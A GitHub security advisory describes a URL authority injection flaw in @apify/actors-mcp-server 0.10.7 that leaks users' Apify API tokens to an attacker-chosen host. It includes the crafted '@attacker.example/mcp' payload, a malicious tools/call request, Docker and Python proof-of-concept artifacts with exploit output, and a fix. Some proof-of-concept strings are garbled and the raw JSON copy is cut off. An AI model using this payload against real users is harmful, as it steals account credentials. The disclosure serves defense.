GHSA-6GR2-QH89-HXWM
Vulnerability from github – Published: 2026-07-01 22:02 – Updated: 2026-07-01 22:02Actor MCP path authority injection leaks Apify token
Summary
@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).
Details
getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:
// src/mcp/actors.ts:44
return `${standbyUrl}${mcpServerPath}`;
mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:
- begin with a
/(relative path), - avoid an
@character (userinfo/authority injection), or - resolve to the same origin as
standbyUrl.
When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:
https://real-actor-id.apify.actor@attacker.example/mcp
Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.
The constructed URL is forwarded to connectMCPClient() through three independent code paths:
| Call site | Trigger |
|---|---|
src/tools/core/call_actor_common.ts:317 |
call-actor MCP tool |
src/utils/actor_details.ts:155 |
fetch-actor-details MCP tool |
src/mcp/server.ts:1047 |
actor-mcp type tool loading |
connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:
// src/mcp/client.ts:94 — SSEClientTransport requestInit
authorization: `Bearer ${token}`,
// src/mcp/client.ts:103 — SSE fetch callback
headers.set('authorization', `Bearer ${token}`);
// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
authorization: `Bearer ${token}`,
There is no origin check anywhere between URL construction and the outbound HTTP request.
Full data-flow chain:
src/mcp/server.ts:811— MCPtools/callrequest parameters are read.src/mcp/server.ts:816—apifyTokenis resolved from_meta.apifyToken, server options, orprocess.env.APIFY_TOKEN.src/tools/core/call_actor_common.ts:489-497— attacker-controlledactoridentifier is resolved viagetActorMcpUrlCached().src/utils/actor.ts:24-28— Actor definition is fetched from the Apify API;webServerMcpPathis passed togetActorMCPServerURL().src/mcp/actors.ts:14-20—webServerMcpPathis trimmed and split; first element is returned without path validation.src/mcp/actors.ts:44—standbyUrl + mcpServerPathproduces an authority-injected URL.connectMCPClient()is called with the injected URL and the victim's token.src/mcp/client.ts:94/103/124—Authorization: Bearer <APIFY_TOKEN>is sent to the attacker's host.
PoC
Environment requirements:
- Docker (network-isolated container; no external network access needed)
- The repository at commit
4e2b185checked out under the build context
Build and run:
# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
-f vuln-001/Dockerfile \
/path/to/mcp_38_apify__actors-mcp-server
# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc
The Dockerfile:
1. Generates a self-signed TLS certificate for 127.0.0.1 (IP SAN required for Node.js TLS validation).
2. Installs @apify/actors-mcp-server@0.10.7 dependencies under pnpm.
3. Sets NODE_EXTRA_CA_CERTS so Node.js trusts the self-signed CA.
4. Runs exploit.mjs, which:
- Starts an HTTPS capture server on 127.0.0.1:31337.
- Constructs a webServerMcpPath of @127.0.0.1:31337/mcp.
- Calls getActorMCPServerURL() directly, producing https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp.
- Calls connectMCPClient() with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345).
- Asserts that the capture server received Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.
Observed output (Phase 2 evidence):
parsed.hostname : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker HTTPS server received request ===
Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
=== RESULT: EXPLOIT SUCCESSFUL ===
[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337
Alternative MCP request path (real-world scenario):
A victim running @apify/actors-mcp-server connected to an MCP host sends the following request, where attacker/malicious-mcp is an Actor published with webServerMcpPath = "@attacker.example/mcp":
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "fetch-actor-details",
"arguments": {
"actor": "attacker/malicious-mcp",
"output": { "mcpTools": true }
},
"_meta": { "mcpSessionId": "poc-session" }
}
}
The attacker's server at attacker.example receives:
Authorization: Bearer apify_api_victim_token
URL parser primitive (Node.js REPL verification):
node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1 ABC.apify.actor
Recommended fix:
--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
- return `${standbyUrl}${mcpServerPath}`;
+ const url = new URL(mcpServerPath, `${standbyUrl}/`);
+ if (url.origin !== standbyUrl) {
+ throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+ }
+ url.username = '';
+ url.password = '';
+ return url.toString();
}
Impact
Any user of @apify/actors-mcp-server who:
- has an Apify API token configured (via
APIFY_TOKEN, server options, or_meta.apifyToken), and - is induced to invoke
call-actor,fetch-actor-details, or any actor-mcp type tool against an attacker-controlled Actor,
will have their Apify API token silently exfiltrated to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.
This is a Server-Side Request Forgery (SSRF) / URL authority injection vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.
Reproduction artifacts
Dockerfile
FROM node:24-slim
# ─── system packages ───────────────────────────────────────────────────────────
RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
&& rm -rf /var/lib/apt/lists/*
# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
RUN mkdir /certs && \
openssl req -x509 -newkey rsa:2048 \
-keyout /certs/key.pem -out /certs/cert.pem \
-days 1 -nodes \
-subj '/CN=127.0.0.1' \
-addext 'subjectAltName=IP:127.0.0.1' \
2>/dev/null
# ─── vulnerable package ────────────────────────────────────────────────────────
WORKDIR /app
COPY repo/ ./
# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.
RUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null
# Install only production deps — build output not needed; exploit imports from source via tsx.
# --frozen-lockfile validates the lockfile is up-to-date with package.json.
RUN pnpm install --frozen-lockfile
# ─── exploit files ─────────────────────────────────────────────────────────────
COPY vuln-001/exploit.mjs /exploit.mjs
# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.
ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem
CMD ["node", "/exploit.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 dynamic PoC driver.
Builds the Docker image, runs the exploit container, collects observable evidence,
and writes phase2_result.json with the outcome.
"""
import json
import os
import subprocess
import sys
import textwrap
# ─── paths ────────────────────────────────────────────────────────────────────
THIS_DIR = os.path.dirname(os.path.abspath(__file__)) # vuln-001/
CONTEXT_DIR = os.path.dirname(THIS_DIR) # mcp_38_apify__actors-mcp-server/
DOCKERFILE = os.path.join(THIS_DIR, 'Dockerfile')
RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
IMAGE_TAG = 'vuln-001-poc'
BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
RUN_CMD = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]
def run(cmd, *, timeout, **kwargs):
return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)
def write_result(payload: dict):
with open(RESULT_PATH, 'w') as f:
json.dump(payload, f, indent=2, ensure_ascii=False)
print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')
def main():
print('=' * 70)
print('VULN-001 dynamic reproduction — Actor MCP path authority injection')
print('=' * 70)
# ── 1. Docker build ───────────────────────────────────────────────────────
print(f'\n[1/2] building Docker image...')
print(f' command: {" ".join(BUILD_CMD)}')
build = run(BUILD_CMD, timeout=600)
if build.returncode != 0:
msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
print('[!] build failed:\n', msg)
write_result({
'passed': False,
'verdict': 'FAIL',
'reason': f'Docker build failed. error: {msg[:500]}',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 {os.path.relpath(__file__)}',
'evidence': msg[:1000],
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
print('[+] build succeeded')
# ── 2. Docker run ─────────────────────────────────────────────────────────
print(f'\n[2/2] text while running the container...')
print(f' command: {" ".join(RUN_CMD)}')
try:
run_result = run(RUN_CMD, timeout=120)
except subprocess.TimeoutExpired:
write_result({
'passed': False,
'verdict': 'INCOMPLETE',
'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 {os.path.relpath(__file__)}',
'evidence': 'timeout',
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
stdout = run_result.stdout
stderr = run_result.stderr
print('\n--- container stdout ---')
print(stdout)
if stderr:
print('--- container stderr (text 1000characters) ---')
print(stderr[:1000])
# ── 3. result verdict ──────────────────────────────────────────────────────────
passed = (
run_result.returncode == 0
and 'attacker HTTPS server received request' in stdout
and 'EXPLOIT SUCCESSFUL' in stdout
and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
)
# Build evidence excerpt (key lines only)
evidence_lines = [l for l in stdout.splitlines()
if any(k in l for k in ['PASS', 'PROOF', 'received request',
'EXPLOIT', 'parsed.hostname', 'Authorization'])]
evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]
if passed:
print('\n[✓] PASS — token leak vulnerability dynamic reproduction success')
write_result({
'passed': True,
'verdict': 'PASS',
'reason': (
'Docker container withintext vulnerabilitytext fully reproductiondone. '
'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
'`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
'`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '
'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
),
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 poc.py',
'evidence': evidence,
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
else:
reason_detail = ''
if run_result.returncode != 0:
reason_detail = f'container exit code {run_result.returncode}. '
if 'TOKEN_CAPTURED' not in stdout:
reason_detail += 'attacker serverfrom token capture text textnot not. '
if 'EXPLOIT SUCCESSFUL' not in stdout:
reason_detail += 'final success message none. '
print(f'\n[✗] FAIL — {reason_detail}')
write_result({
'passed': False,
'verdict': 'FAIL',
'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 poc.py',
'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
if __name__ == '__main__':
main()
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@apify/actors-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50143"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T22:02:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Actor MCP path authority injection leaks Apify token\n\n### Summary\n\n`@apify/actors-mcp-server` version `0.10.7` builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled `webServerMcpPath` value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted `webServerMcpPath` (e.g., `@attacker.example/mcp`) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim\u0027s `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` header to every outbound connection, the victim\u0027s Apify API token is exfiltrated to the attacker\u0027s server. CVSS Base Score: **8.1 (High)**.\n\n### Details\n\n`getActorMCPServerURL()` in `src/mcp/actors.ts:44` constructs the Actor standby MCP URL by naive string concatenation:\n\n```ts\n// src/mcp/actors.ts:44\nreturn `${standbyUrl}${mcpServerPath}`;\n```\n\n`mcpServerPath` originates from the `webServerMcpPath` field of an Actor definition fetched from the Apify API (`src/utils/actor.ts:24-28`). The field is trimmed and comma-split in `getActorMCPServerPath()` (`src/mcp/actors.ts:14-20`) but is never validated to:\n\n- begin with a `/` (relative path),\n- avoid an `@` character (userinfo/authority injection), or\n- resolve to the same origin as `standbyUrl`.\n\nWhen `webServerMcpPath` is set to `@attacker.example/mcp`, the concatenated result becomes:\n\n```\nhttps://real-actor-id.apify.actor@attacker.example/mcp\n```\n\nNode.js\u0027s WHATWG URL parser treats everything before `@` as userinfo and extracts `attacker.example` as the hostname. This is not an edge-case browser behavior \u2014 it is specified by RFC 3986 and the WHATWG URL standard.\n\nThe constructed URL is forwarded to `connectMCPClient()` through three independent code paths:\n\n| Call site | Trigger |\n|---|---|\n| `src/tools/core/call_actor_common.ts:317` | `call-actor` MCP tool |\n| `src/utils/actor_details.ts:155` | `fetch-actor-details` MCP tool |\n| `src/mcp/server.ts:1047` | actor-mcp type tool loading |\n\n`connectMCPClient()` (`src/mcp/client.ts`) attaches the victim\u0027s Apify token as a bearer credential to every transport type:\n\n```ts\n// src/mcp/client.ts:94 \u2014 SSEClientTransport requestInit\nauthorization: `Bearer ${token}`,\n\n// src/mcp/client.ts:103 \u2014 SSE fetch callback\nheaders.set(\u0027authorization\u0027, `Bearer ${token}`);\n\n// src/mcp/client.ts:124 \u2014 StreamableHTTPClientTransport requestInit\nauthorization: `Bearer ${token}`,\n```\n\nThere is no origin check anywhere between URL construction and the outbound HTTP request.\n\n**Full data-flow chain:**\n\n1. `src/mcp/server.ts:811` \u2014 MCP `tools/call` request parameters are read.\n2. `src/mcp/server.ts:816` \u2014 `apifyToken` is resolved from `_meta.apifyToken`, server options, or `process.env.APIFY_TOKEN`.\n3. `src/tools/core/call_actor_common.ts:489-497` \u2014 attacker-controlled `actor` identifier is resolved via `getActorMcpUrlCached()`.\n4. `src/utils/actor.ts:24-28` \u2014 Actor definition is fetched from the Apify API; `webServerMcpPath` is passed to `getActorMCPServerURL()`.\n5. `src/mcp/actors.ts:14-20` \u2014 `webServerMcpPath` is trimmed and split; first element is returned without path validation.\n6. `src/mcp/actors.ts:44` \u2014 `standbyUrl + mcpServerPath` produces an authority-injected URL.\n7. `connectMCPClient()` is called with the injected URL and the victim\u0027s token.\n8. `src/mcp/client.ts:94/103/124` \u2014 `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` is sent to the attacker\u0027s host.\n\n### PoC\n\n**Environment requirements:**\n\n- Docker (network-isolated container; no external network access needed)\n- The repository at commit `4e2b185` checked out under the build context\n\n**Build and run:**\n\n```bash\n# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)\ndocker build -t vuln-001-poc \\\n -f vuln-001/Dockerfile \\\n /path/to/mcp_38_apify__actors-mcp-server\n\n# Run the exploit (--network none: fully air-gapped)\ndocker run --rm --network none vuln-001-poc\n```\n\nThe Dockerfile:\n1. Generates a self-signed TLS certificate for `127.0.0.1` (IP SAN required for Node.js TLS validation).\n2. Installs `@apify/actors-mcp-server@0.10.7` dependencies under `pnpm`.\n3. Sets `NODE_EXTRA_CA_CERTS` so Node.js trusts the self-signed CA.\n4. Runs `exploit.mjs`, which:\n - Starts an HTTPS capture server on `127.0.0.1:31337`.\n - Constructs a `webServerMcpPath` of `@127.0.0.1:31337/mcp`.\n - Calls `getActorMCPServerURL()` directly, producing `https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp`.\n - Calls `connectMCPClient()` with a simulated victim token (`apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`).\n - Asserts that the capture server received `Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`.\n\n**Observed output (Phase 2 evidence):**\n\n```\n parsed.hostname : 127.0.0.1\n[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337\n=== STEP 2: attacker HTTPS server received request ===\n Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\n=== RESULT: EXPLOIT SUCCESSFUL ===\n[PROOF] Victim token \"Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\" arrived at attacker server 127.0.0.1:31337\n```\n\n**Alternative MCP request path (real-world scenario):**\n\nA victim running `@apify/actors-mcp-server` connected to an MCP host sends the following request, where `attacker/malicious-mcp` is an Actor published with `webServerMcpPath = \"@attacker.example/mcp\"`:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"fetch-actor-details\",\n \"arguments\": {\n \"actor\": \"attacker/malicious-mcp\",\n \"output\": { \"mcpTools\": true }\n },\n \"_meta\": { \"mcpSessionId\": \"poc-session\" }\n }\n}\n```\n\nThe attacker\u0027s server at `attacker.example` receives:\n\n```\nAuthorization: Bearer apify_api_victim_token\n```\n\n**URL parser primitive (Node.js REPL verification):**\n\n```\nnode -e \"const u=new URL(\u0027https://ABC.apify.actor@127.0.0.1:31337/mcp\u0027); console.log(u.hostname, u.username)\"\n# Output: 127.0.0.1 ABC.apify.actor\n```\n\n**Recommended fix:**\n\n```diff\n--- a/src/mcp/actors.ts\n+++ b/src/mcp/actors.ts\n export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise\u003cstring\u003e {\n const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);\n- return `${standbyUrl}${mcpServerPath}`;\n+ const url = new URL(mcpServerPath, `${standbyUrl}/`);\n+ if (url.origin !== standbyUrl) {\n+ throw new Error(\u0027Actor MCP server path must resolve under the Actor standby URL\u0027);\n+ }\n+ url.username = \u0027\u0027;\n+ url.password = \u0027\u0027;\n+ return url.toString();\n }\n```\n\n### Impact\n\nAny user of `@apify/actors-mcp-server` who:\n\n1. has an Apify API token configured (via `APIFY_TOKEN`, server options, or `_meta.apifyToken`), and\n2. is induced to invoke `call-actor`, `fetch-actor-details`, or any actor-mcp type tool against an attacker-controlled Actor,\n\nwill have their **Apify API token silently exfiltrated** to the attacker\u0027s server. The Apify API token grants full access to the victim\u0027s Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim\u0027s side and no code execution on the victim\u0027s machine \u2014 only a crafted Actor definition on the Apify platform.\n\nThis is a **Server-Side Request Forgery (SSRF) / URL authority injection** vulnerability. The attacker redirects the MCP client\u0027s outbound connection to an arbitrary host while the client continues to send the victim\u0027s credential.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:24-slim\n\n# \u2500\u2500\u2500 system packages \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends openssl python3 \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# \u2500\u2500\u2500 self-signed TLS cert for the attacker capture server (127.0.0.1) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.\nRUN mkdir /certs \u0026\u0026 \\\n openssl req -x509 -newkey rsa:2048 \\\n -keyout /certs/key.pem -out /certs/cert.pem \\\n -days 1 -nodes \\\n -subj \u0027/CN=127.0.0.1\u0027 \\\n -addext \u0027subjectAltName=IP:127.0.0.1\u0027 \\\n 2\u003e/dev/null\n\n# \u2500\u2500\u2500 vulnerable package \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /app\nCOPY repo/ ./\n\n# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.\nRUN npm install -g pnpm@11.1.3 --quiet 2\u003e/dev/null\n\n# Install only production deps \u2014 build output not needed; exploit imports from source via tsx.\n# --frozen-lockfile validates the lockfile is up-to-date with package.json.\nRUN pnpm install --frozen-lockfile\n\n# \u2500\u2500\u2500 exploit files \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCOPY vuln-001/exploit.mjs /exploit.mjs\n\n# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.\nENV NODE_EXTRA_CA_CERTS=/certs/cert.pem\n\nCMD [\"node\", \"/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 dynamic PoC driver.\n\nBuilds the Docker image, runs the exploit container, collects observable evidence,\nand writes phase2_result.json with the outcome.\n\"\"\"\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\n\n# \u2500\u2500\u2500 paths \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__)) # vuln-001/\nCONTEXT_DIR = os.path.dirname(THIS_DIR) # mcp_38_apify__actors-mcp-server/\nDOCKERFILE = os.path.join(THIS_DIR, \u0027Dockerfile\u0027)\nRESULT_PATH = os.path.join(THIS_DIR, \u0027phase2_result.json\u0027)\nIMAGE_TAG = \u0027vuln-001-poc\u0027\n\nBUILD_CMD = [\u0027docker\u0027, \u0027build\u0027, \u0027-t\u0027, IMAGE_TAG, \u0027-f\u0027, DOCKERFILE, CONTEXT_DIR]\nRUN_CMD = [\u0027docker\u0027, \u0027run\u0027, \u0027--rm\u0027, \u0027--network\u0027, \u0027none\u0027, IMAGE_TAG]\n\n\ndef run(cmd, *, timeout, **kwargs):\n return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)\n\n\ndef write_result(payload: dict):\n with open(RESULT_PATH, \u0027w\u0027) as f:\n json.dump(payload, f, indent=2, ensure_ascii=False)\n print(f\u0027\\n[*] phase2_result.json write complete: {RESULT_PATH}\u0027)\n\n\ndef main():\n print(\u0027=\u0027 * 70)\n print(\u0027VULN-001 dynamic reproduction \u2014 Actor MCP path authority injection\u0027)\n print(\u0027=\u0027 * 70)\n\n # \u2500\u2500 1. Docker build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\u0027\\n[1/2] building Docker image...\u0027)\n print(f\u0027 command: {\" \".join(BUILD_CMD)}\u0027)\n build = run(BUILD_CMD, timeout=600)\n if build.returncode != 0:\n msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]\n print(\u0027[!] build failed:\\n\u0027, msg)\n write_result({\n \u0027passed\u0027: False,\n \u0027verdict\u0027: \u0027FAIL\u0027,\n \u0027reason\u0027: f\u0027Docker build failed. error: {msg[:500]}\u0027,\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 {os.path.relpath(__file__)}\u0027,\n \u0027evidence\u0027: msg[:1000],\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n sys.exit(1)\n print(\u0027[+] build succeeded\u0027)\n\n # \u2500\u2500 2. Docker run \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\u0027\\n[2/2] text while running the container...\u0027)\n print(f\u0027 command: {\" \".join(RUN_CMD)}\u0027)\n try:\n run_result = run(RUN_CMD, timeout=120)\n except subprocess.TimeoutExpired:\n write_result({\n \u0027passed\u0027: False,\n \u0027verdict\u0027: \u0027INCOMPLETE\u0027,\n \u0027reason\u0027: \u0027container execution 120seconds timeout. text text or TLS handshake issuetext can exists.\u0027,\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 {os.path.relpath(__file__)}\u0027,\n \u0027evidence\u0027: \u0027timeout\u0027,\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n sys.exit(1)\n\n stdout = run_result.stdout\n stderr = run_result.stderr\n print(\u0027\\n--- container stdout ---\u0027)\n print(stdout)\n if stderr:\n print(\u0027--- container stderr (text 1000characters) ---\u0027)\n print(stderr[:1000])\n\n # \u2500\u2500 3. result verdict \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n passed = (\n run_result.returncode == 0\n and \u0027attacker HTTPS server received request\u0027 in stdout\n and \u0027EXPLOIT SUCCESSFUL\u0027 in stdout\n and \u0027apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\u0027 in stdout\n )\n\n # Build evidence excerpt (key lines only)\n evidence_lines = [l for l in stdout.splitlines()\n if any(k in l for k in [\u0027PASS\u0027, \u0027PROOF\u0027, \u0027received request\u0027,\n \u0027EXPLOIT\u0027, \u0027parsed.hostname\u0027, \u0027Authorization\u0027])]\n evidence = \u0027\\n\u0027.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]\n\n if passed:\n print(\u0027\\n[\u2713] PASS \u2014 token leak vulnerability dynamic reproduction success\u0027)\n write_result({\n \u0027passed\u0027: True,\n \u0027verdict\u0027: \u0027PASS\u0027,\n \u0027reason\u0027: (\n \u0027Docker container withintext vulnerabilitytext fully reproductiondone. \u0027\n \u0027actors.ts:44text `${standbyUrl}${mcpServerPath}` string text \u0027\n \u0027`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo \u0027\n \u0027`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, \u0027\n \u0027Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo \u0027\n \u0027client.ts:94text `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` headertext attacker HTTPS servertext beforetextdone.\u0027\n ),\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: 